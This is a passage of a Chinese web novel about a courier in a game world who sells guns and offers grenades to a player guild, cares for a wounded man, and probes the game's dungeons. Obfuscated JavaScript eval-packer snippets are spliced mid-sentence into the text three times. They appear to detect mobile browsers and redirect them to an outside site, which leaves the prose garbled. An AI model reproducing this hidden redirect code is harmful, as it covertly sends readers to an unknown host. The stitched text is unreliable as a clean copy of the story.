汪橦盘点了一下自己道具栏里从泥呷市武器库收来的九十支半自动手枪及配套的七千两百发子弹，还有一百二十支短突击步枪及两万发子弹。 泥呷市禁枪，联邦倒是有几个城市不禁，但是这意味着那些城市的居民很难流通出城。所以汪橦即便把获得的枪支卖了，人身安全仍然可以得到保障。 汪橦没有将枪支数量全部照实放出在玩家交易市场上，她看了看商城这个月只售出射手步枪五支，半自动手枪二十支，配套子弹也不过百余发。射手步枪和半自动手枪的标价奇高，二十五支卖光后，汪橦算了算，竟是高达一百万。加上子弹，则可以达到一百二十万。 她快乐了！她要成富翁了哈哈哈哈！ 沈观被汪橦按着，直感受到脸下的胸腔传来阵阵的震动，汪橦似乎是在笑。他看向汪橦，发现对方也正巧望向自己，眼眸里碎了一整片星光，充满着希望。 沈观微微启唇，却说不出什么话——所以现在汪橦打算怎么安置自己呢？ 汪橦已经在脑海中的面板上将二十支半自动手枪和五支短突击步枪放到玩家交易市场上售卖，并各自提供三千发子弹。总价预估和商城内部售卖出的一百二十万元差不多。 幸运的是，现在在本月中旬，离下个月商城换新还有很长的时间。那些急着过副本的玩家定然不会选择错过这个机会。汪橦自信自己手里的货可以卖出去。 汪橦一手撑地坐起，两腿曲起稳住沈观的后腰，她对沈观一笑。这笑是汪橦终于在未来起码三个月不必担心金钱支出的如释重负的一笑，这笑是出自她真心对沈观的感谢的一笑。 “你既然是孤儿，干脆在治好四肢前跟着我吧。你的学位证和毕业证拿到没有？如果没拿到，你现在这个情况很难回去读书吧，我可以帮你去请假。” 沈观表示自己已经有了研究生的双证，目前正在攻读沃伦.卡特的博士，不过现在博士和自己的同学们都死了，也不知道研究院那边会怎么判定自己的情况。而且他是不是应该报警啊？ 汪橦安慰他不用担心，明天上班时汪橦会抽空跑一趟研究院，帮他询问具体的情况。沈观现在最重要的是待在医院养好身上的伤。 “你不用负担我的医药费，真的！”沈观紧张地说，“我没有任何想要道德绑架你的意思！” “安心待在我怀里，你没有道德绑架我，我也不想忘恩负义。等把你四肢治好，我们两清。”汪橦左手挽住沈观的腰，抬起右手摸摸沈观的后脑勺。她抱着沈观，站起身朝停在不远处路边的摩托车走去。 沈观这个伤势，肯定是不可以在汪橦行驶过程中暴露在大风里的。夜间的沙漠风大，加上汪橦急着带他就医，风只会更迅疾。 汪橦干脆从后车厢里找到自己几天前准备的雨衣。幸好汪橦买的并非是一次性塑料雨衣，她买的是和冲锋衣材质一样的大雨衣，足以将沈观包裹得严严实实。 汪橦的医用纱布未用完，她又照着之前在地下那般用纱布紧紧将沈观裹在身前后打了个死结。汪橦扭转摩托车把，迎着月光，向内城绝尘而去。 17. 兼职掮客 游戏里玩家ID显示的是各位玩家地球上本来的名字和性别，但是不会显示玩家个人面部和身体特征。多数情况下，玩家们通过游戏官方的交易平台进行□□的交易。 所以只要玩家不在线下的集散地也好，副本里也罢，透露出自己的真实姓名，就不必担心线上交易产生矛盾后，被对方线下追杀。 汪橦顶着自己的大名，和三位分别叫“吴白”、“Lloyd.D.Roger”、“姜蒙”的玩家同时展开私聊。 名叫吴白的男人在消息中称自己需要一支半自动手枪和两百发子弹。 那个外国人名则被001直接转译成汪橦看得懂的中文——“劳埃德.D.罗杰”。对方似乎不只帮自己购入枪支，因为他要全部的短突击步枪和三千发子弹，五支半自动手枪和一千发子弹。 第三位名叫姜蒙的女人并没有直接表明自己需要多少枪，相反她发来一句意味深长的询问： “你有没有更多的货？” 玩家交易市场上很难见到汪橦这般同游戏官方商城一样大手笔的商品数量，尤其是枪支。即便偶尔出现玩家在副本里通过闲暇时间去黑市上买到枪后再带回集散地转手的情况，枪支数量也是个位数。 大世界里玩家们很难凭借个人力量弄到枪的原因在于： 首先，玩家们不熟悉大世界黑市上的规则，经常被各地区里的地头蛇原住民坑，钱没了货却拿不到手； 其二，大世界里为数不多的几个不禁枪的城市同样要求□□的市民持有资格证书和合法的持枪证。而玩家们碰到的大部分副本都只有几天，根本来不及去办理资格证书、持枪证。 综上，汪橦的名字实际在她发布二十支半自动手枪和五支短突击步枪放到玩家交易市场上售卖，并各自提供三千发子弹的信息时，注定会引发一波关注。 姜蒙看见汪橦轻轻松松就放出这么多数量的枪支进行交易，她推测汪橦实际上有更多的枪支储备。 姜蒙是集散地里大型玩家组织“燃火”的后勤部负责人。组织最近新收了三十多个新人，加上组织内原本就有八十人，现有的道具数量让组织捉襟见肘。 玩家加入组织除了受组织庇护外，每月还要上交一定数量的金钱和积分作为会费。因此“燃火”的钱不少。 官方商城的枪支，“燃火”只抢到了几支，远远不足以填补他们的胃口。除了将汪橦发布的枪支和子弹全部拿下外，姜蒙打算打听出汪橦是否有更多的枪支器械，她愿意加钱拿下。 汪橦避重就轻地反问：“你有钱吗？”殊不知，她这一问反而暴露出她根本不认识姜蒙以及她还是一个游戏“雏鸟”的事实。 “燃火”在整个玩家集散地里排得上前四，另外三个分别是“深魇”、“永续光明”和“诺亚方舟”。作为“燃火”的后勤部负责人，同时也是组织高级成员和会长苏籽重最亲近的副手——姜蒙，不可能有玩家不认识她。 除非是刚进入游戏没几天的新人。 姜蒙已经在游戏里待了快五年了，她从默默无闻到无人不识花了近两年的时间。她和苏籽重白手起家创建“燃火”，将其推到集散地前四的位置也快四年了。许久没有人在她面前说话态度如此平静。 姜蒙回复道：“你能出多少，我们’燃火’就能买多少。” 姜蒙心想汪橦即便是个没听过自己名字的新人，但是能一次性在市场上交易二十多支枪，也绝非刚来不到一个月的新人。“燃火”这个组织名字总听过吧？ 很遗憾，汪橦不仅没听过，她压根就没进去过玩家集散地。 汪橦短暂地在脑海中询问系统能否告诉她关于玩家集散地的信息，得到001的肯定回复后，汪橦知道了“燃火”是什么东西以及姜蒙作为“燃火”官方披露的高级成员的地位。 汪橦还没有回复吴白和劳埃德，如果她将九十支半自动手枪及配套的七千两百发子弹，还有一百二十支短突击步枪及两万发子弹全部卖给姜蒙……按商城原价格，卖价能破千万。 她没有暴露自己有这么多数量的枪支： 一是大型玩家组织也未必能掏出上千万元， 二是虽然她进不去玩家集散地，但是日后副本里难保不会有暴露自身姓名的情况，如果全部卖出，被人惦记上自己是个大肥羊，那可就麻烦了。 汪橦索性回复姜蒙：“如果你有诚意，下个月初，同一批数量的半自动手枪，短突击步枪和相应型号的子弹，专门卖你。” 姜蒙惊奇于汪橦一个新人，如何能信誓旦旦地保证自己下个月还有货，难道对方其实是某个不便出面的大佬的马仔？ 姜蒙一时间脑中划过数道身影，有其他组织的高级成员，有散玩队伍中的高等玩家。 姜蒙倾向于认为汪橦背后的大佬属于散玩的可能性更高。但是那几位散玩里的高玩，已经过了需要枪支度过副本的阶段，早就有各自专属的天赋技能。 或许是哪位高玩在副本中无意收集到一批枪支，想要脱手卖掉。 可姜蒙看着汪橦的交易条件是金钱而非玩家积分，她陷入思考：对玩家在游戏里的长期发展而言，积分的重要程度远远大于金钱。这么看，汪橦索要金钱又不像是受大佬玩家的指示。 假如没有大佬玩家背后撑腰，也许汪橦真的只是一个单纯的新人，不过是运气好掌握了一批货想分期出手罢了。 姜蒙开口：“可以，但是我们组织现在急需枪支，如果你有多余的货，除了下个月的，这次能多卖给我一些吗？” 汪橦出其不意地问出一个似乎与当前两人谈论的买卖毫无关系的问题：“什么样的人可以加入’燃火’？” 姜蒙愣了稍许，琢磨不出汪橦此话的用意。她回复说：“有一定实力，不坑害其他玩家来通关的新人，只要愿意加入’燃火’且和组织内部气场相投的都可以。” 汪橦看了眼吴白、劳埃德和姜蒙各自发来消息的时间前后，她回道： “按照先来后到的顺序，我之前已经答应别人了。所以今天交易的二十五支枪没法全部卖给你。现在我只剩十四支半自动手枪和对应的一千八百发子弹。” “不过，如果你愿意预付下个月枪支的定金，我可以保证下个月的所有枪支和子弹归’燃火’。” 姜蒙思忖后痛快答应。虽然玩家交易市场没有开发预付定金的功能，预付定金存在被卖家卷款逃跑的危险。 但姜蒙相信凭汪橦一个新人，若是对方还想在集散地内生存，就不至于胆大包天地诓骗“燃火”。 于是汪橦迅速答应吴白和劳埃德的消息，将他们需要的枪支、子弹通过系统交易给对方，再将剩下的转送姜蒙。完成后汪橦手里除了一百二十万，还有姜蒙预付的六十万定金，现在她的账户里多出一百八十万元。 汪橦正要在脑海里退出游戏面板，斜上方又弹出一个消息—— “下下个月能继续交易吗？”发出者依旧是姜蒙。 汪橦不想暴露自己库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837669|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存丰富的事，干脆模糊回应道：“我不能打包票，只能等下个月底看看这边的情况。” 这边？这边是哪边？集散地还是大世界？ 将自己与汪橦的通讯面板显示给苏籽重看的姜蒙向后一仰，靠坐在会议椅上。她对坐在自己正对面的苏籽重开口说： “小籽，我觉得你想多了。她不要积分，只要钱，说明她的背后不可能有大佬。” 此刻坐在姜蒙正对面的被她喊“苏籽重”的女人双手呈三角塔形置于鼻尖下，明显正在思考。 和总是面带微笑，一头轻飘飘黑色短发的姜蒙不同，苏籽重拥有一头波浪似的棕色长发，容颜端丽。但是和她相处的玩家第一眼绝不会注意到她优越的五官。 作为集散地前四大玩家组织的会长，苏籽重从头到脚的气势足以让任何人忽略她拥有的美丽外表，包括集散地的各位高等玩家对苏籽重评价最多的四个字便是——“气度不凡”。 苏籽重能够一路和姜蒙配合着将“燃火”从一个小组织带到如今的规模，凭借的除她自身作为高等玩家的实力外，还有她审慎的头脑。 姜蒙的判断其实也不错：汪橦背后没有大佬支撑。 苏籽重却认为汪橦作为一个新人玩家，不仅保证下个月也能确保提供给“燃火”一定量的枪支子弹以外，有关下下个月的订单甚至回答可以“看情况”，也就意味着汪橦是有可能继续提供货物的。 汪橦一个新人是有什么特殊途径获得她们这些老玩家都无法获得的道具吗？汪橦肯定有过人之处。 汪橦还提到“这边”，莫非她背后的人其实是位于大世界？所以对方才不需要积分，只要金钱这种对玩家来说最不重要的东西。 苏籽重叹气，她们玩家被游戏死死限制在集散地，除了进入副本期间，其余时候都无法与大世界接触。 而玩家由于和大世界的原住民身份有别，即使偶有长时间的副本，她们很难在此期间在大世界建立稳定供应枪支器械的渠道。 苏籽重盘算既然汪橦需要钱加上她又有自己和大世界的特殊渠道，能否让她帮忙按照“燃火”的要求去弄到她们需要的东西，以此来保障组织新人的生存率，壮大组织实力？ 在苏籽重的示意下，姜蒙再次向汪橦发去消息： “除了这两种枪以外，你可以帮我们弄来其他的军用武器吗？比如炸弹之类……” 姜蒙特意补充： “如果你能照我们的需求弄来我们需要的物资，以后我们双方或许可以达成一个长期对双方都有利的合作。在金钱方面，’燃火’绝不亏待你。” 汪橦此刻已经在前台缴完二十万预付的医疗费，顶着护士小姐姐敬佩的眼神，骄傲地出门打算给沈观买全洗漱用品。 收到脑海中系统提示声，点开面板一看，汪橦回复： “手榴弹要不要？我可以后面弄些卖给你们，只是这种按照你们要求来的定制货价格会更贵一些。” 苏籽重和姜蒙没想到汪橦真的可以按照要求弄来其他热武器，欣喜非常。她们是真的相信汪橦背后的大佬能够突破游戏官方对原住民和玩家的限制，渗透进集散地，实力有两把刷子。 “没问题。我们不缺钱。那手榴弹大佬那边最迟什么时候能弄到呢？” 汪橦看见“大佬”两字皱眉，旋即舒展开。原来对面以为她背后有大佬啊，不然态度怎么变殷切了。也好，她不过是一个游走在玩家和“大佬”之间当中介赚钱的掮客罢了。 18. 照看沈观1 汪橦趁沈观尚未从急救室里出来，去医院外的超市买了全套洗漱用品，和可供替换的拖鞋、睡衣，并托问诊台的护士姐姐等沈观送入特护病房后帮自己将东西放进去。 之后，汪橦骑着摩托抓紧时间赶回员工宿舍休息。现在是凌晨，汪橦今天还要上夜班。今晨的梦中远远传来一声似曾听闻，似怨似嗔的叹息。 醒来已是上午十一点，汪橦起床查看手机，收到了来自医院的信息。医生通知她沈观被转入特护病房。 汪橦洗漱好，换上新的衣服，将好特快的工服放进道具栏里，直接去医院看望沈观。目前沈观的情况短时间内恐怕不能正常摄入饮食，只能靠营养液和流食养好身体。 于是汪橦顺便去员工宿舍里的食堂帮他打包了一份白粥聊表心意。 病房内，汪橦进去时好心的护士正在帮昏睡的沈观擦脸，沈观身上已经上了药缠好绷带，整个人被放在调试好角度的病床上倚着。 沈观的麻醉药效尚未过去，他一动不动任由护士拨弄他的头，帮他清洁。因此没有用他那双在沙咔拉时总是盈着水的眼睛欢迎汪橦到来。 汪橦不想叫醒他，睡眠对于病人的机体修复也是很重要的一个环节。她看了一眼手机时间离夜班报道的时间还有很久，于是叫住护士，轻声细细询问了一番病人护理的事项。 得知现阶段汪橦交的二十万元只够沈观凌晨完成的手术费用和三天特护病房术后护理费用后，汪橦又去住院部续交了三十万元，以保证沈观转出特护病房后享受半个月VIP单人病房的待遇。 刚赚了一百八十万，转头三分之一就没了。汪橦怎能不心疼……但是沈观的情况实在特殊，没有谁愿意在多人病房里承受其他病人和病人家属乃至来来往往的医生护士的同情与好奇。 幸好泥呷市的医疗服务虽然贵，但只要付得起钱，医院绝对能让患者拥有无比舒心的体验—— 每间VIP病房拥有一室一厅面积，并配一名高级护理。VIP病房是在专属的大楼里，装修时皆用最好的隔音材料，以保障病人安心休息。 病人病中一日三餐的饮食会由专门的高级营养师定制。此外，病人可以电话订餐。中心医院与泥呷市著名酒店的大厨合作提供VIP病人及家属最优质的餐饮服务。住院部VIP区天台则修有只向VIP病房的客人开放的上百坪温室花园。 汪橦每天忙于上班，并且极有可能上班过程中遭遇副本。她不能全天陪护沈观，沈观跟在汪橦身边并不安全。若是沈观入住VIP病房有专属护理，汪橦可以放心一些。 同时，汪橦考虑到沙咔拉扭曲神智的后续影响，即使沈观不说，他在沙咔拉洞穴里遭遇的那些事也足够让汪橦相信给沈观请一个心理咨询帮助他舒缓PTSD的重要性。 因此等沈观身体完全养好后，他的心理健康也要重视起来。汪橦打算待到那时给沈观预约一个好的心理咨询师，每周去和对方聊一聊，帮助沈观早日摆脱沙咔拉的阴影，重新适应正常人的社会。 等沈观醒来，时间已过去了四个多小时来到下午四点。汪橦坐在一旁吃着自己原本给沈观带的白粥，一边按响床边的呼叫铃，提醒护士二十分钟后过来给沈观打营养液的吊针。 “我一会儿要去送外卖，你这两天还不能吃东西，只能打针。打针前需不需要我帮你洗个头？”汪橦大口喝完最后一口白粥，掏出纸巾擦嘴随意问道。 沈观踌躇地说：“不会太麻烦你了吗？” 汪橦摆手：“小事，不麻烦。” “那好吧。”沈观点头。 汪橦将病床调平，让沈观平躺，脑袋垂在床边。接着汪橦用自己在超市买的浴巾包住沈观肩部，自己去打了盆温热水来，这样可以避免泡沫和水流打湿沈观肩部以下的伤口。 吹干后，沈观一头顺直的黑色长发垂至他的肩头，护士给沈观打上了吊针。待人走后，汪橦笑着打趣他：“你清理干净后看着不像是做研究的博士生，倒像是某个搞艺术的歌手。” 沈观老脸一红，仿佛想起来某件重要的事：“之前在沙咔拉的时候，你一挥手就可以将所有东西变得消失不见。你不是普通人吧？” 汪橦这才想起还有这么重要的事没解决，头都大了。作为流落在大世界的一名玩家，原本在系统的帮助下，她不可能被原住民发现自己和他们不一样。 偏偏不知道怎么一个沈观成了系统的漏网之鱼，意识不但没有被系统“矫正”，反而记得十分清楚。 001支支吾吾，给不出汪橦“为什么会出现意外”的正面回应。倒是此刻001在汪橦脑中发出声音，询问是否需要“解决”掉沈观。一贯不带感情的系统统一声线中，汪橦偏偏听出001的紧张。 汪橦制止了001的做法。也许，也许，在经历了沙咔拉的一切后，汪橦相信“吊桥效应”足以让沈观对自己心生好感，自愿替汪橦保密？ 又或者是已经投入了六十万的沉没成本，让汪橦不愿意这么快亲手扼杀沈观的性命。自己救出的人，过去不到一天的时间就要自己决定除掉他的性命吗？ 另外这款游戏的系统未免也太强大了，不但可以随意更改大世界人类的认知，还能根据需要直接抹杀他们。汪橦总觉得游戏和大世界并不是平等的关系，更像是游戏的地位远在大世界之上。 可如果是这样，为什么游戏对玩家进入大世界限制得那么严格呢？ “如果我同意消灭沈观，你需要多长时间解决他？”汪橦面上微笑着注视沈观，脑中询问001。 【五分钟内。】 “可以保证我干净安全地抽身？” 【当然。】 “好吧，那你先不要杀他。给他一个机会。反正他现在没手没脚跑不掉，对我没有威胁。假设他告诉别人，你也可以帮我扭曲其他原住民的认知对吧？” 汪橦继续告知系统：“你能查出沈观的身世背景吗？可以的话，麻烦你去查一下，然后告知我。” 【好的。】001从汪橦的脑子里退场。 汪橦托腮歪头拜托沈观：“你可以不告诉其他人吗？把它当作是一个独属于我们两个人的秘密，如何？” 沈观莫名背后窜上一股寒气使他下意识点头，他开口说：“抱歉！我没有想要打听你秘密的意思，也没有想用它来威胁你。我知道这对你很重要！我不会告诉别人的。” “我一会儿要去上班，你在这里好好休息。这几天我会抽空去泥呷市市立研究院帮你办理休学手续。办完后我再来看你。”汪橦又嘱咐了几句洗漱用品和换洗衣物的事，然后起身离开。 今天晚上汪橦平平安安地送了一晚上的外卖，没有遇上奇怪的事，也没被拉入副本。第二天上午，汪橦去到市立研究院帮沈观办理为期一年半的休学。 “你刚刚说谁？沈观？！” 被保安放进研究院内部后，汪橦一路找到教务处。教务主任却在听清汪橦的要求后查询系统的在读博士生名单时，发出一声质疑声。 他扭头对汪橦摇头：“抱歉，你是不是弄错了……系统显示没有一名叫’沈观’的学生。” 汪橦表示不可能，沈观是沃伦.卡特的课程助教。沃伦.卡特不是在市立研究院主导了“沙咔拉洞穴”相关研究项目吗？难道研究院也没有沃伦.卡特这个人？ 教务主任听到沃伦.卡特这个名字，明显表情动摇了。他从系统后台调出了沃伦.卡特的课题组档案给汪橦看。 汪橦目瞪口呆地看着档案上显示的“已尘封三十年”几个大字，她浏览了一遍卡特的成员栏那页，没有沈观的名字。 汪橦狐疑地再次向研究院的教务主任确认：“您真的确定沃伦.卡特已经失踪三十年了？还有他课题组里所有的研究人员？里面没有一个叫做’沈观’的？” 教务主任身为一个六十几岁仍然坚守岗位的老头，他不知是不是因为从汪橦口中听到了三十几年前故人沃伦.卡特的姓名充满感伤，他并没有不耐烦地赶汪橦走。 他起身打开身后的大型书柜，从里面翻找了一通，最后掏出一个很厚的资料袋。他低头细细翻阅了很久，汪橦一言不发地耐心等着。 过了大约一小时，他抬头： “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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加上第一个副本的最终Boss李莉又出现在第二个副本担任最终Boss，汪橦是愈发觉得这个游戏设计得很不规范了。压榨员工，一块钱掰成几瓣花，恨不得一个员工多个岗位干到死。 汪橦喊来001，让他解释一下关于副本的问题。001这次倒是没有顾左右而言他，直接回答道： 【玩家汪橦，你好。游戏副本的确分为固定本和临时本。】 【你的第一个副本“人生百态之外卖员七日谈”是一次性副本，因此结束后，副本Boss被调任刚好出现职位空缺的固定本“沙咔拉之密”担任长期员工。】 【将NPC参与游戏副本理解成他们在项目制工作或许能够帮你更好地了解我们游戏。】 汪橦又问001查沈观查得怎么样，为什么沈观的记忆和现实不一样？他到底是不是沃伦.卡特的学生？ 汪橦不相信沈观会故意在这种事上对自己撒谎，尤其是对方也知道，如今于自己，他沈观本就是砧板上的鱼。 系统这一次倒是陷入许久沉默。过了半晌，001回复道： 【沈观在大世界里的确拥有十八年生活痕迹，但他的记录是从他六岁开始突兀出现的。六岁前没有任何有关他在大世界里生活过的轨迹。】 【游戏内部数据显示他并非是“沙咔拉之密”副本里设计师设定的NPC。沈观其人应当同玩家一样出现了游戏官方未能察觉到的bug，001还需针对此进一步调查。】 汪橦还未出声，001又补充一句： 【此外，沈观在大世界的身份证明早被吊销，理由是他已死亡。】 这下沈观真的成为了黑户。 【玩家汪橦请放心，即便现在你亲手杀死沈观，大世界里也无人会向你追究他的死亡。因为他原本就是一个死人。】 汪橦一点也不安心。沈观在沙咔拉里替自己挡的两颗长钉，她还没有忘呢。人救回来，如果没有身份证明，沈观未来四肢恢复后怎么在这个世界找工作生存下去？ 汪橦问001有没有什么办法可以帮沈观恢复身份证明，无论是重新拟造一个身份证明，还是将原来“已死亡”的状态取消。 19. 照看沈观2 汪橦原以为凭借001游戏总系统的身份，以它的神通广大帮沈观“落个户”岂是难事。谁曾想，001竟然说自己办不到。 游戏和大世界有统一管理公民身份的数据库，数据库会定期被游戏总设计师审核有无错误。类似沈观和汪橦的bug，哪怕是总系统的001也要老实向总设计师报告，等总设计师的回复。 所以两位的bug只能等待那位大人的回复意见才能得到相应的修复。在那以前，哪怕是一人之下，万统之上的001也不可以轻举妄动。 “那这位总设计师什么时候会回复你呢？”汪橦问001。 【等到了应该总设计师大人回复我的时候，大人就会回复我。】 汪橦又央求了几句，句句被001堵回口中。汪橦实在没想到那位游戏总设计师管理甚严，下属系统都谨遵游戏内部的职场规定，不敢越权。 001跟车轱辘似的说了一句没有准确答案的话。它甚至一改往日挤牙膏式回答汪橦问题的作风，主动劝汪橦—— 【玩家汪橦，如果你想顺理成章在大世界里留下沈观，目前最佳方案是我帮你临时写一个玩家附属宠物的程序，将沈观以玩家宠物的身份记录入数据库中。】 “啊？”饶是汪橦乍然听到“宠物”一词，也不禁惊讶地呼出声：“怎么游戏里还能携带宠物？你不能录入人的数据，却可以随意录入宠物的数据？” 【沈观现在既非大世界居民又非玩家。以001对总设计师大人的了解，大人极可能直接抹杀他的存在。】 【但作为玩家汪橦的附属宠物，沈观不仅能陪着玩家汪橦名正言顺地存在于大世界，还能陪同玩家汪橦下副本。】 【集散地内存在高等玩家具有“驯兽大师”的天赋，并因此豢养了宠物。因此我可以录入宠物的数据。这符合游戏规定。】 汪橦略思考几秒，拍板同意001的提议——作为汪橦宠物的沈观，在她的掌控下对她生不出什么威胁。同时，汪橦也就不必要对沈观动手，让游戏系统取其性命。 汪橦从研究院出来直接去中心医院找沈观，和盘托出大世界与游戏的事实让沈观接受他成为“黑户”和已经是汪橦附属的“宠物”的残酷现实。 出乎她意料的是，沈观听完汪橦说的一切后，并没有露出痛哭流涕或者隐忍不发的神情，而是以一种平淡的姿态微微笑：“原来这就是你的秘密。我没关系的。谢谢你帮我。” 汪橦眉头一跳，总觉得沈观的反应太平静了些，一般人不都应该有惆怅的阶段吗？沈观像是看出汪橦的想法，他说： “经历了作为祭品被困囚在沙咔拉地下的日子，’我还存在着’这件事已足够令我欢喜了。反倒是’成为一种怎样的存在’对现在的我而言微不足道。” 汪橦明白沈观的意思。存在的形态比较于存在与否对于现在的他根本不是需要去纠结的重要事项。何况沈观算不上真正的“宠物”。 只有经历过濒死的痛苦挣扎经历的人才会迎来瀑布般剧烈冲击并在这接近最根本的死亡中领悟到生命的真谛仅仅是活着本身。在这种情况下，人成功经历了始于虚无的一跃。 汪橦向沈观保证，“附属宠物”身份只是一种变相帮他“落户”的手段，自己绝不会试图“奴役”他。两个人百分百保持人格上的平等与独立。 “我相信你。”沈观听完汪橦一番发自肺腑的承诺后微笑着回复她。 汪橦放下心来，虽然她并不完全相信沈观心里对成为自己附属“宠物”的事没有丝毫芥蒂。 但解决掉沈观这边的身份问题后，她的胸中仍有无法消除而需要她验证的疑惑——还是关于副本的。正如她进入沙咔拉洞穴前在备忘录上所写： 一、最迟第二次进副本前搞定事项（汪橦看到数字后默默改为“最迟第三次”）： 1.去中州牛肉拉面店查看老板情况； 2.了解这个世界的行政体系架构，如食品督查官是什么，考虑另谋出路的可能性； 3.再访Cassandre公寓； 4.再访古淹社区，查清008号别墅主人。 鉴于汪橦无法明确自己第三次副本任务的具体时间，备忘录上所记的事宜早不宜迟。第二点了解这个世界的行政体系，汪橦不着急。她随时可以上网搜索。但另外几项需要实地调查的很重要！ 汪橦决定当晚上班时如果接到池塘区的订单，她要顺路去中州牛肉拉面店查看老板情况，以及古淹社区……如果是草坪区，她就去Cassandre所在的酒店式公寓看一看现在的情况。 除此以外，汪橦还有一件事——报名一门搏击类课程！ 小时候，汪橦曾经看过一部知名少女漫，动漫情节是一个女孩为了拯救另一个女孩，一遍又一遍回到过去，却想不到这种做法加深了最开始的因果，以至于她几乎逃脱不了原定的命运。 为了救下心中的女孩，她用自己灵魂凝练出的宝石治好了困扰她许久的近视与孱弱多病的身体。汪橦多么希望自己也能拥有一颗灵魂宝石，帮助自己强身健体。 现在她一无所有，只能靠自己制定每日的有氧无氧运动计划，加强锻炼。同时，她要学习对敌手段，她无法保证以后会不会遇到需要对抗其他玩家的副本。 不幸中的大幸，汪橦生前作为一名宅女，为了不去健身房直面人类，她看过一系列总共四本名为《囚徒健身》的书。书的作者专门介绍如何在封闭空间内几乎不使用多余器械凭自重增肌健身。 汪橦这两天已经在小蓝书上搜索过泥呷市的健身房攻略，但是健身房的消费对于只是一个外卖员的汪橦来说称得上是奢侈品。尽管她如今小发了一笔横财，也不能肆意挥霍。 所以汪橦决定健身还是靠自己在宿舍空地上练吧，最多买几个不同重量的哑铃回来。但搏击的确是她无法自学成材的领域，她必须找一个老师。搏击类的课程在这个世界同地球一样涵盖许多种类，如拳击、散打、柔术、综合格斗等。 汪橦兜兜转转花了一个下午，敲定一家离员工宿舍不远的柔术班。由于汪橦存在白班夜班交替上的可能性，汪橦和老师约好每周上七天的课，每次上三个小时，会提前一晚找老师约好第二天的时间段。 夜间汪橦接到的订单遍布泥呷市内城四个区，她先去了草坪区Cassandre所在的公寓看看对方如今是否还住在公寓里。 等到了地方，望着一长条黄色的施工警戒线围起来的外表被熏黑的高楼，汪橦想起来进入沙咔拉洞穴之前在手机上浏览到的新闻—— “据泥呷市警方通报，我市某知名酒店式商业公寓近日发生爆炸，造成多名人员受伤。” ……原来新闻提及的爆炸的酒店式公寓就是Cassandre所在的公寓啊。 等等？ 汪橦在通关第一个副本的前一天因为钱逐昊的算计被迫去帮忙，由于期间钱逐昊死掉，相当于Cassandre这边的四个玩家全军覆没，副本同样提早结束了。 而汪橦当时在沙咔拉洞穴旁浏览新闻时看的都是当天发生的实时新闻。新闻上提到的酒店式公寓爆炸，相当于是在副本结束的第二天发生的事情。 001已经说过“人生百态之外卖员七日谈”是一个一次性副本。这个游戏清除一次性副本痕迹的方式这么暴力的吗？副本一结束，就炸楼？那古淹社区现状呢？汪橦迫不及待想去看一看009幢别墅。 目前，汪橦从系统的话语中，加上她自己能够汇总到的零散信息管中窥豹地来看，这个游戏的总设计师行事颇有几分不近人情的暴力风格。 “据泥呷市消防部门的消息，大火从十六楼一户居民家中蔓延至整栋楼。我市消防员及时赶到，疏散楼内全体居民。受伤人员已悉数送往泥呷市人民医院治疗，目前暂无人员死亡。” Cassandre就住在十六楼，大火从十六楼蔓延。两件事会是巧合吗？ “公寓物业未来一个月会加紧进行楼房修复工作，目前政府已为公寓居民安排了安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刻了“古淹社区”四字的金属装饰牌安安静静地挂在一旁装饰性的石墙上。这里似乎什么也不曾发生过，那些蒸腾的沼泽，扭曲的尖叫全部消失了。一切如常。 汪橦后知后觉想起副本结束的时候，009幢别墅被李莉毁成一堆废石。现在宽阔的道路两旁丝毫找不见009幢别墅存在的影子。道路两旁的房屋一直是对称排列，从001到008，路边共坐落了八幢房屋。 看来009幢的确是为了临时副本被总设计师建造出来的，它是破坏了古淹社区原本对称设计的外来物，与这里格格不入。所以在副本结束后它很轻松地被游戏系统回收清理了，和Cassandre住的公寓被暴力抹除痕迹的手法不同。 至此汪橦有关固定副本和临时副本，游戏官方如何清除临时副本的痕迹，如何保证大世界原住民不察觉异样的疑惑尽数消除。 汪橦没有急着离开，她轻手轻脚地走到008幢花园里靠近别墅窗户的一侧，从窗外朝内看是否还能瞥见上一次那个跪坐在一口无盖棺材旁的白色身影。上次突然和她贴脸的那位青面“人”不在屋内。 屋子装修保持着初见的样子—— 一个宽大的书桌前侧垂有厚重的白色帷幕，遮住书桌的左右。书桌中央放着牌位和燃烧的白烛。牌位正前方有一块供人跪拜的蒲团，那口无盖的棺材放在大厅正中间。 上一次被李莉追杀，堪称慌不择路地跑进008的花园里，众人看到眼前的场景却没有心思细想。现在汪橦看到眼前别墅作灵堂，俨然脑补了一出008幢别墅背后的恐怖故事。 不过汪橦的举动仅限于此，她印象中，那天她和宋裴度、潘海祥跑遍了前面八幢别墅，有几户并没有人住，有人住的005、006和008，李莉无法进入这几幢别墅。 能在李莉的威胁下，安然住在社区里，游离于大世界和副本的交错边界，汪橦可以推测这几家住户恐怕来历与李莉一样。因此她仅看到008幢就决定离开古淹社区，不再过多停留，免得惹上招惹不起的“人”。 凌晨三点半，汪橦将摩托车停回公司楼下，她结束夜间的工作，准备回宿舍抓紧睡觉，下午她即将开始学习第一次柔术课程。 没想到，早晨八点，汪橦头沾上枕头不到三小时，她被一通来自领队的电话喊醒。 20. 长途送货 开大车（不 